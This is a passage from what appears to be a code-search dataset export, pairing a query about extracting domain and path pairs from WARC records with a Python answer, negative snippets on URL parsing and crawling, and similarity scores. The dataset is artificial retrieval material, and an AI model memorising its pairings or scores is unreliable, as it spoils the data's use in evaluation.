right_links = list(olap_dict[mid_contig_end].keys())\\n \\n #If contigs are chromosomal, ensure they are adjacent\\n if chr_links:\\n if l_contig in chr_links: \\n new_right_links= []\\n for r_l in right_links:\\n if r_l not in chr_links or r_l in chr_links[l_contig]:\\n new_right_links.append(r_l)\\n right_links = new_right_links \\n \\n if len(right_links) == 1:\\n outcome = right_links[0]\\n elif len(right_links) == 0:\\n outcome = \\\"link_listempty\\\"\\n else:\\n left_matches = []\\n for hit in blast_hits:\\n if (hit[0] == l_contig) and (int(hit[11]) >= l_min_score):\\n left_matches.append(hit)\\n link_count = {}\\n for link in right_links:\\n \\n right_matches = []\\n\\n for hit in blast_hits:\\n if (hit[0] == link) and (int(hit[11]) >= r_min_score): \\n right_matches.append(hit)\\n \\n for lhit in left_matches:\\n for rhit in right_matches:\\n if lhit[1] == rhit[1]:\\n lh_start = int(lhit[8])\\n lh_end = int(lhit[9])\\n rh_start = int(rhit[8])\\n rh_end = int(rhit[9])\\n if abs(lh_start - rh_start) < length_mid + 100:\\n if (lh_end - lh_start)/(rh_end - rh_start) < 0:\\n if abs(lh_end - rh_end) > abs(lh_start - rh_start):\\n link_score = int(lhit[11]) * int(rhit[11])\\n if not link in link_count: \\n link_count[link] = link_score\\n elif link_score > link_count[link]:\\n link_count[link] = link_score\\n \\n number_of_matches = len(link_count)\\n if number_of_matches == 1:\\n outcome = list(link_count.keys())[0]\\n if number_of_matches == 0:\\n outcome = \\\"link_unmatched\\\"\\n if number_of_matches > 1:\\n outcome = max(link_count, key = link_count.get)\\n\\n return outcome\",\n \"def get_on_progress_domains(cursor):\\r\\n try:\\r\\n cursor.execute(\\\"select url from on_progress_domains where is_scrapped = 0\\\")\\r\\n return cursor.fetchall()\\r\\n except:\\r\\n raise RuntimeError(\\\"An Exception happened with the Database, make sure you are connected\\\")\",\n \"def main(url, ip):\\n\\n doc = {'url' : url}\\n #get the whois and domain info\\n print('[*] Getting whois')\\n doc = get_whois(doc)\\n\\n #only continue checking stuff if we can actually resolve the address\\n if doc['ip'] != '':\\n #get ssl information if available\\n print('[*] Get certificate information')\\n doc = get_certinfo(doc)\\n #browse to the site and get metrics\\n print('[*] Interrogating homepage')\\n doc = interrogate_homepage(doc)\\n\\n #now it is time to parse the ids logs\\n doc = get_ids_logs(doc)\\n\\n #strip out ip if we don't have one\\n if doc['ip'] == '':\\n doc.pop('ip')\\n \\n\\n try:\\n print('[*] Adding information to elastiseach as %s:9200' % ip)\\n es = Elasticsearch([ip])\\n res = es.index(index='flurb', doc_type='site', body=doc)\\n #if res == 'OK then return some sort of success response\\n\\n #there is no explicit close so we are going to delete\\n #our es object to trigger the socket cleanup\\n del(es)\\n\\n except:\\n print('[*] Failed to add document to elasticsearch at %s' % ip)\\n del(es)\\n return doc\\n\\n return doc\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.5832478","0.5743405","0.5526221","0.54275036","0.5161741","0.51254606","0.5115564","0.50487834","0.5029015","0.49536353","0.49229515","0.49164706","0.48799717","0.48791456","0.4861495","0.48533532","0.48137897","0.4801171","0.47810617","0.4773569","0.47550088","0.4747353","0.46952662","0.46906394","0.46851605","0.4673478","0.46612337","0.4660336","0.46552795","0.46540755","0.46501124","0.46392485","0.46363956","0.46258745","0.4623411","0.46132237","0.46108338","0.4609203","0.46088475","0.45862922","0.45788828","0.4570384","0.45689455","0.45587444","0.453776","0.45309323","0.45239857","0.45209324","0.4507747","0.44862556","0.44861746","0.44783074","0.4475173","0.44741228","0.44692668","0.44592357","0.44583786","0.44547373","0.4449225","0.44444743","0.44376212","0.4431558","0.44286695","0.44274163","0.44210523","0.4418968","0.44156885","0.44153097","0.44106296","0.44017577","0.44008753","0.43997446","0.4391332","0.43903223","0.43874773","0.43850562","0.43833944","0.43739977","0.43680838","0.43640298","0.43638238","0.4357115","0.43557438","0.43539748","0.43447426","0.43417343","0.4337565","0.43320766","0.4327009","0.4322098","0.43215585","0.4320203","0.43159437","0.4313791","0.4313259","0.43130064","0.43105578","0.43093687","0.43088096","0.4305454"],"string":"[\n \"0.5832478\",\n \"0.5743405\",\n \"0.5526221\",\n \"0.54275036\",\n \"0.5161741\",\n \"0.51254606\",\n \"0.5115564\",\n \"0.50487834\",\n \"0.5029015\",\n \"0.49536353\",\n \"0.49229515\",\n \"0.49164706\",\n \"0.48799717\",\n \"0.48791456\",\n \"0.4861495\",\n \"0.48533532\",\n \"0.48137897\",\n \"0.4801171\",\n \"0.47810617\",\n \"0.4773569\",\n \"0.47550088\",\n \"0.4747353\",\n \"0.46952662\",\n \"0.46906394\",\n \"0.46851605\",\n \"0.4673478\",\n \"0.46612337\",\n \"0.4660336\",\n \"0.46552795\",\n \"0.46540755\",\n \"0.46501124\",\n \"0.46392485\",\n \"0.46363956\",\n \"0.46258745\",\n \"0.4623411\",\n \"0.46132237\",\n \"0.46108338\",\n \"0.4609203\",\n \"0.46088475\",\n \"0.45862922\",\n \"0.45788828\",\n \"0.4570384\",\n \"0.45689455\",\n \"0.45587444\",\n \"0.453776\",\n \"0.45309323\",\n \"0.45239857\",\n \"0.45209324\",\n \"0.4507747\",\n \"0.44862556\",\n \"0.44861746\",\n \"0.44783074\",\n \"0.4475173\",\n \"0.44741228\",\n \"0.44692668\",\n \"0.44592357\",\n \"0.44583786\",\n \"0.44547373\",\n \"0.4449225\",\n \"0.44444743\",\n \"0.44376212\",\n \"0.4431558\",\n \"0.44286695\",\n \"0.44274163\",\n \"0.44210523\",\n \"0.4418968\",\n \"0.44156885\",\n \"0.44153097\",\n \"0.44106296\",\n \"0.44017577\",\n \"0.44008753\",\n \"0.43997446\",\n \"0.4391332\",\n \"0.43903223\",\n \"0.43874773\",\n \"0.43850562\",\n \"0.43833944\",\n \"0.43739977\",\n \"0.43680838\",\n \"0.43640298\",\n \"0.43638238\",\n \"0.4357115\",\n \"0.43557438\",\n \"0.43539748\",\n \"0.43447426\",\n \"0.43417343\",\n \"0.4337565\",\n \"0.43320766\",\n \"0.4327009\",\n \"0.4322098\",\n \"0.43215585\",\n \"0.4320203\",\n \"0.43159437\",\n \"0.4313791\",\n \"0.4313259\",\n \"0.43130064\",\n \"0.43105578\",\n \"0.43093687\",\n \"0.43088096\",\n \"0.4305454\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.68593603"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":14479,"cells":{"query":{"kind":"string","value":"Takes WARC record and outputs all pairs (domain, path) from URIs, if these exist. It searches both target URI and outlinks and does not distinguish between them."},"document":{"kind":"string","value":"def parse_urls(record):\n url_list = []\n try:\n page_url = record['WARC-Header-Metadata']['WARC-Target-URI']\n x = urlparse.urlparse(page_url)\n url_list += [(x.netloc, x.path)]\n except:\n pass\n try: \n links = record['Payload-Metadata']['HTTP-Response-Metadata']['HTML-Metadata']['Links']\n for url in links:\n x = urlparse.urlparse(url['url'])\n url_list += [(x.netloc, x.path)]\n except:\n pass\n \n return url_list"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def parse_links(record):\n try:\n page_url = record['WARC-Header-Metadata']['WARC-Target-URI']\n page_domain = urlparse.urlparse(page_url).netloc\n links = record['Payload-Metadata']['HTTP-Response-Metadata']['HTML-Metadata']['Links']\n out_links = Counter([urlparse.urlparse(url['url']).netloc for url in links])\n return (page_domain, out_links)\n except:\n return None","def _filter_return_url_from_list(self, paths, har=None):\r\n if not har:\r\n har = self.har\r\n \r\n matches = []\r\n for entry in har[\"log\"][\"entries\"]:\r\n for path in paths:\r\n if path in entry[\"request\"][\"url\"]:\r\n temp = entry[\"request\"][\"url\"].encode('ascii', 'ignore')\r\n matches.append(temp)\r\n return matches","def extract_urls(genome):\n itemid = genome.get('metadata').get('identifier')\n urls = set([url for url in genome['urls'] if 'archive.org' not in url])\n db_urls_found(itemid, urls)","def by_navigations(self):\n\t\t\n\t\turl_format = r'^\\s*(?:(?P<protocol>\\w+)://)?(?P<domain>[\\w\\d\\-\\.]+)(?::(?P<port>\\d+))?/?(?P<everything_else>.*)$'\n\t\tnavigations = {}\n\t\tfor line in self.source.lines:\n\t\t\ttry:\n\t\t\t\tif self.filter(line):\n\t\t\t\t\tresult = re.match(url_format, line.content.url)\n\t\t\t\t\tif line.content.source_address not in navigations.keys():\n\t\t\t\t\t\tnavigations[line.content.source_address] = {}\n\t\t\t\t\tif line.content.user not in navigations[line.content.source_address]:\n\t\t\t\t\t\tnavigations[line.content.source_address][line.content.user] = {}\n\t\t\t\t\tif result.group('domain') not in navigations[line.content.source_address][line.content.user]:\n\t\t\t\t\t\tnavigations[line.content.source_address][line.content.user][result.group('domain')] = 0\n\t\t\t\t\tnavigations[line.content.source_address][line.content.user][result.group('domain')] += int(line.content.size)\n\t\t\texcept AttributeError:\n\t\t\t\tpass\n\t\t\n\t\tflat_navigations = []\n\t\tfor address in navigations.keys():\n\t\t\t# node = socket.getfqdn(address)\n\t\t\tnode = address\n\t\t\tfor user in navigations[address].keys():\n\t\t\t\tfor domain in navigations[address][user].keys():\n\t\t\t\t\tflat_navigations.append([user, domain, node, address, navigations[address][user][domain]])\n\t\t\n\t\t# What happend here? Why an exception handler is needed?\n\t\ttry:\n\t\t\tflat_navigations.sort(key = lambda t: t[4], reverse = True)\n\t\texcept (e):\n\t\t\tpass\n\t\t\n\t\treturn flat_navigations","def reformat(array):\n global searched_domain\n response = []\n for tag in array:\n link = tag.get(\"href\", None)\n if link is not None:\n p = parse.urlparse(link)\n if re.match(searched_netloc, p.netloc):\n if p.scheme == \"\":\n link = parse.ParseResult(\"http\", *p[1:]).geturl()\n response.append(link)\n return response","def create_results(self):\n\n webhost_map = {}\n # put the found paths into the webhost map\n self.process_crawled_urls(webhost_map)\n # put the found param infos into the webhost map\n self.process_param_infos(webhost_map)\n # put the found cookies into the webhost map and get as by product new domains\n new_domains = self.process_cookies(webhost_map)\n # get the newly discovered network locations\n new_netlocs = self.get_new_netlocs()\n\n # append new domains to the new network locations\n for new_domain in new_domains:\n if self.port != 80 and self.port != 443:\n new_netlocs.add(new_domains + \":\" + self.port)\n else:\n new_netlocs.add(new_domain)\n\n # process discovered redirects and put into webhost map if appropriate\n for url, redirect in self.redirects.items():\n path = urllib.parse.urlparse(url).path\n if url + \"/\" == redirect[\"to\"]:\n continue\n else:\n if not self.url_has_netloc(redirect[\"to\"]):\n redirect_to = redirect[\"to\"]\n else:\n redirect_to = urllib.parse.urlparse(redirect[\"to\"]).path\n\n code = str(redirect[\"code\"])\n if code not in webhost_map:\n webhost_map[code] = {}\n if path not in webhost_map[code]:\n webhost_map[code][path] = {}\n\n redirect_info = \"redirect to %s\" % redirect_to\n if \"misc_info\" not in webhost_map[code][path]:\n webhost_map[code][path][\"misc_info\"] = redirect_info\n elif not any(val == redirect_info for val in webhost_map[code][path].values()):\n for i in range(10):\n alt_key = \"misc_info_%d\" % i\n if alt_key not in webhost_map[code][path]:\n webhost_map[code][path][alt_key] = redirect_info\n break\n\n return webhost_map, new_netlocs, self.comments","def getURLs():","def _get_records(self, domain, domain_id, record):\n for needed in [\"type\", \"source\", \"target\"]:\n if needed not in record:\n raise ValueError(\"{} not provided in record dict\".format(needed))\n\n if record[\"source\"] == \".\":\n fqdn = domain\n else:\n fqdn = \"{source}.{domain}\".format(source=record[\"source\"], domain=domain)\n return list(\n filter(\n lambda x: (\n x[\"source_idn\"] == fqdn\n and x[\"type\"] == record[\"type\"]\n and x[\"target\"] == record[\"target\"]\n ),\n self._get_request(\"/1/domain/{domain_id}/dns/record\".format(domain_id=domain_id)),\n )\n )","def _filter_return_url(self, url, har=None):\r\n if not har:\r\n har = self.har\r\n \r\n matches = []\r\n for entry in har[\"log\"][\"entries\"]:\r\n if url in entry[\"request\"][\"url\"]:\r\n temp = entry[\"request\"][\"url\"].encode('ascii', 'ignore')\r\n matches.append(temp)\r\n return matches","def find_domain_range(record):\n response = {\"domain\": [], \"range\": []}\n if \"http://schema.org/domainIncludes\" in record:\n if isinstance(record[\"http://schema.org/domainIncludes\"], dict):\n response[\"domain\"] = [record[\"http://schema.org/domainIncludes\"][\"@id\"]]\n elif isinstance(record[\"http://schema.org/domainIncludes\"], list):\n response[\"domain\"] = [\n _item[\"@id\"] for _item in record[\"http://schema.org/domainIncludes\"]\n ]\n if \"http://schema.org/rangeIncludes\" in record:\n if isinstance(record[\"http://schema.org/rangeIncludes\"], dict):\n response[\"range\"] = [record[\"http://schema.org/rangeIncludes\"][\"@id\"]]\n elif isinstance(record[\"http://schema.org/rangeIncludes\"], list):\n response[\"range\"] = [\n _item[\"@id\"] for _item in record[\"http://schema.org/rangeIncludes\"]\n ]\n return (response[\"domain\"], response[\"range\"])","def get_redirect_uris(\n domains: List[str], redirect_path_sign_in: str, redirect_path_sign_out: str\n) -> Dict[str, List[str]]:\n return {\n \"sign_in\": [f\"{domain}{redirect_path_sign_in}\" for domain in domains],\n \"sign_out\": [f\"{domain}{redirect_path_sign_out}\" for domain in domains],\n }","def lookup(redirects, request):\n\n # Compute and cache `request.path` once, rather than recomputing for each\n # redirect rule that the path is matched against.\n path = request.path\n\n for redirect in redirects:\n if redirect.prefix and path.startswith(redirect.src):\n suffix = path.replace(redirect.src, \"\", 1)\n return _dst_root(request, redirect) + suffix\n if not redirect.prefix and path == redirect.src:\n return _dst_root(request, redirect)\n return None","def process_trace(self, trace):\n # type: (List[Span]) -> Optional[List[Span]]\n for span in trace:\n if span.parent_id is None and span.get_tag(http.URL) is not None:\n url = span.get_tag(http.URL)\n for regexp in self._regexps:\n if regexp.match(url):\n return None\n return trace","def get_urls(self, queries):\n domains = defaultdict(list)\n for q in queries:\n q = \"\\\"\" + q + \"\\\"\"\n results = self.engine.search(q)\n\n for result in results: \n url = result.url\n domain = self.get_domain(url)\n domains[domain].append(q) \n return domains","def routes():\n import urllib.request, urllib.parse, urllib.error\n output = []\n for rule in app.url_map.iter_rules():\n options = {}\n for arg in rule.arguments:\n options[arg] = \"[{0}]\".format(arg)\n methods = ','.join(rule.methods)\n url = url_for(rule.endpoint, **options)\n line = urllib.parse.unquote(\"{:50s} {:20s} {}\".format(rule.endpoint, methods, url))\n output.append(line)\n for line in sorted(output):\n print (line)","def hash_entries(entries):\n d = dict()\n for e in entries:\n uri = e[\"uri\"]\n domain = re.match(\"^/view\\d*/(.*)$\", uri).group(1)\n if domain:\n visitor_id = e[\"visitor_id\"]\n if d.has_key(domain):\n store_page_entries = d[domain]\n store_page_entries.append(visitor_id)\n else:\n d[domain] = [visitor_id]\n print \"Retrieved {0} unique domains.\".format(len(d))\n return d","def url_map():\n from operator import itemgetter\n\n rules = []\n for rule in app.url_map.iter_rules():\n # Generate a human-readable path for the url\n tmp = []\n for is_dynamic, data in rule._trace:\n if is_dynamic:\n tmp.append(u'<%s>' % data)\n else:\n tmp.append(data)\n path = ''.join(tmp).lstrip('|')\n\n # Figure out what auth decorator was used for the endpoint\n view_func = app.view_functions[rule.endpoint]\n if hasattr(view_func, '__authblueprint_authfunc__'):\n auth = view_func.__authblueprint_authfunc__.__name__\n else:\n auth = 'NONE'\n\n rules.append(dict(\n path = path,\n endpoint = rule.endpoint,\n methods = rule.methods,\n auth = auth,\n ))\n\n # Emit them nicely\n last_blueprint = None\n for rule in sorted(rules, key=itemgetter('endpoint')):\n blueprint = rule['endpoint'].split('.')[0]\n if not last_blueprint or blueprint != last_blueprint:\n if last_blueprint:\n print\n print blueprint\n print '-' * len(blueprint)\n last_blueprint = blueprint\n\n print '%-75s %-30s -> %s (%s)' % (rule['path'], rule['auth'], rule['endpoint'], '/'.join(list(rule['methods'])))","def _get_urls_drs(file_type, id, reference_name = None, start = None, end = None):\n\n file_exists = file_exists_drs(id)\n if file_exists:\n file_format = \"VCF\" \n urls = _create_slices(CHUNK_SIZE, id, reference_name, start, end)\n response = {\n 'htsget': {\n 'format': file_format,\n 'urls': urls \n }\n }\n return {\"response\": response, \"http_status_code\": 200}\n else:\n err = f\"No {file_type} found for id: {id}\" \n return {\"response\": err, \"http_status_code\": 404}","def check_uri_redirects(df, column, replace=True, custom_name_postfix=None, redirection_property=\"http://dbpedia.org/ontology/wikiPageRedirects\", endpoint=DBpedia, regex_filter=\"dbpedia\", bundled_mode=True, uri_data_model=False, progress=True, caching=True):\n\n if custom_name_postfix == \"\":\n\n raise ValueError(\"'custom_name_postfix' can't be an empty string. If you don't want to use a custom_name_postfix, please set the attribute to None\")\n\n df = df.copy()\n\n if bundled_mode and not uri_data_model:\n\n values = \" ( <\"+df[column].str.cat(sep=\"> ) ( <\")+\"> ) \"\n\n query = \"SELECT DISTINCT ?value ?redirect WHERE {VALUES (?value) {\" +values+\"} ?value <\"+redirection_property+\"> ?redirect . }\"\n\n result_df = endpoint_wrapper(query, endpoint, caching=caching).drop_duplicates().reset_index(drop=True)\n\n else: \n \n result_df = pd.DataFrame()\n \n if uri_data_model:\n \n query = \"SELECT DISTINCT ?value ?redirect WHERE {VALUES (?value) {(<**URI**>)} ?value <\"+redirection_property+\"> ?redirect . }\"\n\n result_df = uri_querier(df, column, query, regex_filter=regex_filter, progress=progress, caching=caching)\n \n else:\n\n for uri in df[column].iteritems():\n\n if pd.notna(uri[1]):\n\n query = \"SELECT DISTINCT ?value ?redirect WHERE {?value <\"+redirection_property+\"> ?redirect . FILTER (?value = <\"+uri[1]+\">) }\"\n\n result = endpoint_wrapper(query, endpoint, caching=caching)\n\n result_df = result_df.append(result)\n\n else:\n pass\n\n result_df = result_df.rename({\"callret-0\": \"value\"}, axis=\"columns\").drop_duplicates().reset_index(drop=True)\n\n if result_df.empty:\n\n return df\n\n else:\n\n if custom_name_postfix == None:\n\n new_attribute_name = column+\"_redirect\"\n\n else:\n\n new_attribute_name = column+custom_name_postfix\n\n result_df = pd.merge(df, result_df, how=\"left\", left_on=column, right_on=\"value\").drop(\"value\",axis=1).rename(columns={\"redirect\":new_attribute_name})\n\n if replace:\n\n result_df.loc[(pd.isnull(result_df[new_attribute_name])), new_attribute_name] = result_df[column]\n result_df.drop(column, axis=1, inplace=True)\n result_df.rename(columns={new_attribute_name: column}, inplace=True)\n\n return result_df","def service_urls(records, service='odp:url'):\n service_string = 'urn:x-esri:specification:ServiceType:' + service\n urls = []\n for key, rec in records.items():\n # Create a generator object, and iterate through it until the match is\n # found if not found, gets the default value (here \"none\").\n url = next((d['url'] for d in rec.references if\n d['scheme'] == service_string), None)\n if url is not None:\n urls.append(url)\n return urls","def get_record_urls(split):\n\n stream = os.popen(f'gsutil ls {WAYMO_DATASET_BUCKET}/{split}')\n urls = list(filter(None, stream.read().split('\\n')))\n return urls","def site_map(line):\n args = shlex.split(line)\n if len(args) > 0 and args[0] == 'p':\n paths = True\n else:\n paths = False\n ids = yield async_main_context_ids()\n paths_set = set()\n for reqid in ids:\n req = yield Request.load_request(reqid)\n if req.response and req.response.response_code != 404:\n paths_set.add(req.path_tuple)\n tree = sorted(list(paths_set))\n if paths:\n for p in tree:\n print ('/'.join(list(p)))\n else:\n print_tree(tree)","def copyurls(door):\n return {name: Url(url.path) for name, url in door.urls.items()}","def read_gobuster_output(url: str, output_path: str) -> set :\n regex = re.compile(r\"^(\\/.*?) .*\\(Status: ([0-9]{3})\\).*\\[Size: [0-9]+\\](?: \\[--> (.*)\\])?$\")\n results = set(())\n with open(output_path, \"r\") as file_pointer:\n raw_output = file_pointer.readlines()\n for line in raw_output:\n line = line.strip()\n matches = regex.match(line)\n if matches:\n path, status, redirect_url = matches.groups()\n if redirect_url and redirect_url.startswith(\"/\"):\n results.add(urljoin(url, redirect_url))\n elif redirect_url:\n results.add(redirect_url)\n else:\n results.add(urljoin(url, path))\n return results","def collectLinks(self, output):\n pass","def _filter_entries_by_response(self, urls, har=None):\r\n if not har:\r\n har = self.har\r\n \r\n matches = []\r\n if len(har[\"log\"][\"entries\"]) > 1:\r\n for entry in har[\"log\"][\"entries\"]:\r\n for url in urls:\r\n if url in entry[\"request\"][\"url\"]:\r\n tempObject = {}\r\n if entry[\"response\"][\"status\"] == 200 and entry[\"response\"][\"content\"].get(\"text\") and entry[\"response\"][\"content\"][\"text\"] != \"\":\r\n tempObject['url'] = entry[\"request\"][\"url\"]\r\n tempObject['response'] = entry[\"response\"][\"content\"][\"text\"].encode('ascii', 'ignore')\r\n matches.append(tempObject)\r\n return matches","def get_request_url(rule):\n rule_result = []\n for key, value in rule.items():\n if (key == 'destination' or\n key == 'destination_nat_address' or\n key == 'source' or\n key == 'source_nat_address') and value:\n result = nat_network.get_request_network(value)\n data = {\n key:result\n }\n rule_result.append(data)\n elif (key == 'service' or\n key == 'destination_nat_service') and value:\n result = nat_service.get_request_service(value)\n data = {\n key:result\n }\n rule_result.append(data)\n else:\n data = {\n key:value\n }\n rule_result.append(data)\n \n final_result = []\n final_result.append(dict(ChainMap(*rule_result)))\n \n return final_result","def extract_domains(self, resp):\n return","def traverse_uris(uri):\n seen = set()\n uris_to_check = [uri]\n while len(uris_to_check) > 0: \n uri = uris_to_check.pop()\n if uri not in seen:\n seen.add(uri)\n for key in keys_for_uri[uri]:\n for uri2 in uris_for_key[key]:\n if uri2 not in seen:\n uris_to_check.append(uri2)\n \n return seen","def __get_urls(self):\n self.__valid_servers = {\n \"qa\": {\n \"server_url\": \"https://qa.api.deepaffex.ai:9443\",\n \"websocket_url\": \"wss://qa.api.deepaffex.ai:9080\"\n },\n \"dev\": {\n \"server_url\": \"https://dev.api.deepaffex.ai:9443\",\n \"websocket_url\": \"wss://dev.api.deepaffex.ai:9080\"\n },\n \"demo\": {\n \"server_url\": \"https://demo.api.deepaffex.ai:9443\",\n \"websocket_url\": \"wss://demo.api.deepaffex.ai:9080\"\n },\n \"prod\": {\n \"server_url\": \"https://api.deepaffex.ai:9443\",\n \"websocket_url\": \"wss://api.deepaffex.ai:9080\"\n },\n \"prod-cn\": {\n \"server_url\": \"https://api.deepaffex.cn:9443\",\n \"websocket_url\": \"wss://api.deepaffex.cn:9080\"\n },\n \"demo-cn\": {\n \"server_url\": \"https://demo.api.deepaffex.cn:9443\",\n \"websocket_url\": \"wss://demo.api.deepaffex.cn:9080\"\n }\n }\n try:\n self.server_url = self.__valid_servers[self.server][\"server_url\"]\n self.websocket_url = self.__valid_servers[self.server][\"websocket_url\"]\n except KeyError:\n raise KeyError(\"Invalid server ID given\")","def location_links():\n\n try:\n record_id = request.args[0]\n except:\n item = s3xrc.xml.json_message(False, 400, \"Need to specify a record ID!\")\n raise HTTP(400, body=item)\n\n try:\n # Shortcut\n locations = db.gis_location\n\n deleted = (locations.deleted == False)\n query = (locations.id == record_id)\n query = deleted & query\n record = db(query).select(locations.id, limitby=(0, 1)).first().id\n except:\n item = s3xrc.xml.json_message(False, 404, \"Record not found!\")\n raise HTTP(404, body=item)\n\n # Find all tables which link to the Locations table\n # @ToDo: Replace with db.gis_location._referenced_by\n tables = shn_table_links(\"gis_location\")\n\n results = []\n for table in tables:\n for count in range(len(tables[table])):\n field = tables[str(db[table])][count]\n query = db[table][field] == record_id\n _results = db(query).select()\n module, resourcename = table.split(\"_\", 1)\n for result in _results:\n id = result.id\n # We currently have no easy way to get the default represent for a table!\n try:\n # Locations & Persons\n represent = eval(\"shn_%s_represent(id)\" % table)\n except:\n try:\n # Organisations\n represent = eval(\"shn_%s_represent(id)\" % resourcename)\n except:\n try:\n # Many tables have a Name field\n represent = (id and [db[table][id].name] or [\"None\"])[0]\n except:\n # Fallback\n represent = id\n results.append({\n \"module\" : module,\n \"resource\" : resourcename,\n \"id\" : id,\n \"represent\" : represent\n })\n\n output = json.dumps(results)\n return output","def process_response(self, response):\n\n if response.status == 404:\n return set()\n\n # store response HTTP code if not redirect\n if not (response.status == 301 or response.status == 302):\n if response.url not in self.crawled_urls:\n self.crawled_urls[response.url] = response.status\n\n # some colorful printing\n if self.verbose:\n code = str(response.status)\n extra_print = \"\"\n if code[0] == \"2\":\n color = util.GREEN\n elif code[0] == \"3\":\n color = util.BRIGHT_CYAN\n extra_print = (util.BRIGHT_CYAN + \" --> \" + util.SANE +\n response.headers[\"Location\"].decode())\n elif code[0] == \"4\":\n color = util.RED\n elif code[0] == \"5\":\n color = util.MAGENTA\n else:\n color = util.SANE\n print_str = \" [\" + color + str(response.status) + util.SANE + \"] \" + response.url + extra_print\n util.printit(print_str)\n\n # extract cookies and their paths from HTTP response header\n cookie_paths = self.extract_cookies(response.headers.getlist(\"Set-Cookie\"), response.url)\n cookie_urls = set()\n for path in cookie_paths:\n cookie_urls.add(self.to_absolute_url(path, response.urljoin))\n\n\n # use scrapy's lxml linkextractor to extract links / URLs\n scrapy_urls = set()\n try:\n # extract <base> URL's domain if a <base> tag exists\n base_domain = \"\"\n base_tag_sels = response.xpath(\"//base\")\n for base_tag_sel in base_tag_sels:\n href_sels = base_tag_sel.xpath(\"@href\")\n if href_sels:\n href = href_sels.extract_first()\n base_domain = urllib.parse.urlparse(href).netloc\n break\n\n # setup allowed domains and extract new links\n allowed_domains = [self.domain, \"%s:%s\" % (self.domain, self.port)]\n if base_domain:\n allowed_domains.append(base_domain)\n raw_scrapy_links = LinkExtractor(allow_domains=allowed_domains,\n tags=(\"a\", \"area\", \"script\", \"link\", \"source\", \"img\"),\n attrs=(\"src\", \"href\"),\n deny_extensions=set()).extract_links(response)\n raw_scrapy_urls = [link.url for link in raw_scrapy_links]\n\n # copy discovered URLs and additionally insert initial network location\n scrapy_urls = raw_scrapy_urls.copy()\n if base_domain and base_domain != allowed_domains[0] and base_domain != allowed_domains[1]:\n orig_netloc = urllib.parse.urlparse(response.url).netloc\n for scrapy_url in raw_scrapy_urls:\n parsed_scrapy_url = list(urllib.parse.urlsplit(scrapy_url))\n parsed_scrapy_url[1] = orig_netloc\n scrapy_urls.append(urllib.parse.urlunsplit(parsed_scrapy_url))\n scrapy_urls = set(scrapy_urls)\n except (AttributeError, scrapy.exceptions.NotSupported) as e:\n if str(e) == \"Response content isn't text\":\n # stop processing and return no new URLs\n return set()\n raise e\n\n\n # run the different URL / link discovery mechanisms\n linkfinder_urls, dynamic_urls, form_urls, sub_urls = set(), set(), set(), set()\n if self.config[\"use_linkfinder\"].lower() == \"true\":\n linkfinder_urls = self.run_linkfinder(response.text, response.urljoin)\n if self.config[\"use_selenium\"].lower() == \"true\":\n dynamic_urls = self.extract_dynamic_urls(response.url)\n if self.config[\"extract_info_from_forms\"].lower() == \"true\":\n form_data = extract_form_data(response)\n # extract new URLs and HTTP parameters from parsed form data\n form_urls = self.process_form_data(form_data, response.urljoin)\n\n # extract sub URLs, i.e. URLs with parent paths\n sub_urls = extract_sub_urls(response.url)\n\n # extract comments if configured\n if self.config[\"extract_comments\"].lower() == \"true\":\n self.extract_comments(response)\n\n # unite discovered URLs\n urls = set()\n urls |= cookie_urls\n urls |= scrapy_urls\n urls |= linkfinder_urls\n urls |= dynamic_urls\n urls |= form_urls\n urls |= sub_urls\n\n # store info about redirect and add redirect URL to discovered URLs\n if response.status == 301 or response.status == 302:\n location = response.headers[\"Location\"].decode()\n self.redirects[response.url] = {\"code\": response.status, \"to\": location}\n urls.add(self.to_absolute_url(location, response.urljoin))\n\n # process all the discovered URLs, i.e. extract new information and decide which to crawl\n yield_urls = set()\n for url in urls:\n # strip anchor\n if \"#\" in url:\n url = url[:url.rfind(\"#\")]\n\n # replace entities and parse URL\n url = url.replace(\"&\", \"&\")\n url = url.replace(\"&\", \"&\")\n parsed_url = urllib.parse.urlparse(url)\n\n # disregard information about directory listing sorting\n if parsed_url.path.endswith(\"/\") and re.match(\"C=[A-Z];O=[A-Z]\", parsed_url.query):\n continue\n\n # extract GET parameters and cut URL if option is configured\n params = {}\n if parsed_url.query:\n if self.config[\"crawl_parameter_links\"].lower() != \"true\":\n url = \"%s://%s/%s\" % (parsed_url.scheme, parsed_url.netloc, parsed_url.path)\n params = get_query_params(parsed_url.query)\n elif url.endswith(\"?\"):\n url = url[:-1]\n\n # add URL as instance of its path\n if self.url_has_netloc(url) and params:\n self.add_path_instance(parsed_url.path, params, {}, {})\n\n # skip already crawled URLs\n if url in self.found_urls:\n continue\n self.found_urls.add(url)\n\n # skip URLs with different network location\n if not self.url_has_netloc(url):\n continue\n if url == response.url:\n continue\n\n # skip paths that are excluded from crawling\n if self.exclude_paths and url.count(\"/\") > 2:\n check_str = \"/\" + \"/\".join(url.split(\"/\")[3:])\n if any(re_path.match(check_str) for re_path in self.exclude_paths):\n continue\n\n # check whether to add this URL to the to-be-crawled URLs\n if url not in yield_urls:\n # limit the crawling depth\n max_depth = int(self.config[\"max_depth\"])\n if max_depth > 0:\n depth = parsed_url.path.count(\"/\")\n if depth > max_depth:\n continue\n\n # limit the number of times a path can be crawled to avoid endless\n # crawling upon GET parameter variation\n if parsed_url.path not in self.crawled_paths:\n self.crawled_paths[parsed_url.path] = 0\n self.crawled_paths[parsed_url.path] += 1\n if self.crawled_paths[parsed_url.path] > int(self.config[\"max_path_visits\"]):\n continue\n\n yield_urls.add(url)\n\n return yield_urls","def aggregate(entry):\n file = urlopen(entry, context=ssl_context)\n tree = ElementTree.parse(file)\n\n for sitemap in tree.getroot().findall(TAGS['SITEMAP']):\n location = sitemap.find(TAGS['LOCATION'])\n if location is not None:\n yield location.text\n\n file.close()","def get_input_domains():\n df = pandas.read_excel(\"AutoScrapy/files/EBE21 - Top 100 Onlineshops to scrapp.ods\", engine=\"odf\")\n list_of_addresses = df['Domain'].to_list()\n list_of_addresses = [(\"http://\" + address) for address in list_of_addresses]\n print(list_of_addresses)\n return list_of_addresses","def process_crawled_urls(self, webhost_map):\n\n for url, status_code in self.crawled_urls.items():\n # store the URL's path in the web host map under the URL's status 